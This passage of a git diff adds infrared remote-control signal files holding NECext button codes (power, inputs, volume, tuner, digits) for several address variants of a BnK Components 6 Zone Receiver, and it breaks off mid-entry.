+type: parsed +protocol: NECext +address: 7B 48 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir new file mode 100644 index 000000000..717311660 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: A6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: C6 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CF 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E5 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir new file mode 100644 index 000000000..b44324fec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: BB 00 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: BB 00 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir new file mode 100644 index 000000000..1b9809b48 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: CB 43 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: A6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: C6 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CF 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E5 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir new file mode 100644 index 000000000..24bae856f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: DB 42 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: DB 42 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir new file mode 100644 index 000000000..9cbc38729 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir @@ -0,0 +1,668 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 17 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 18 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1B 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1C 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 20 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 23 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 24 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: F2 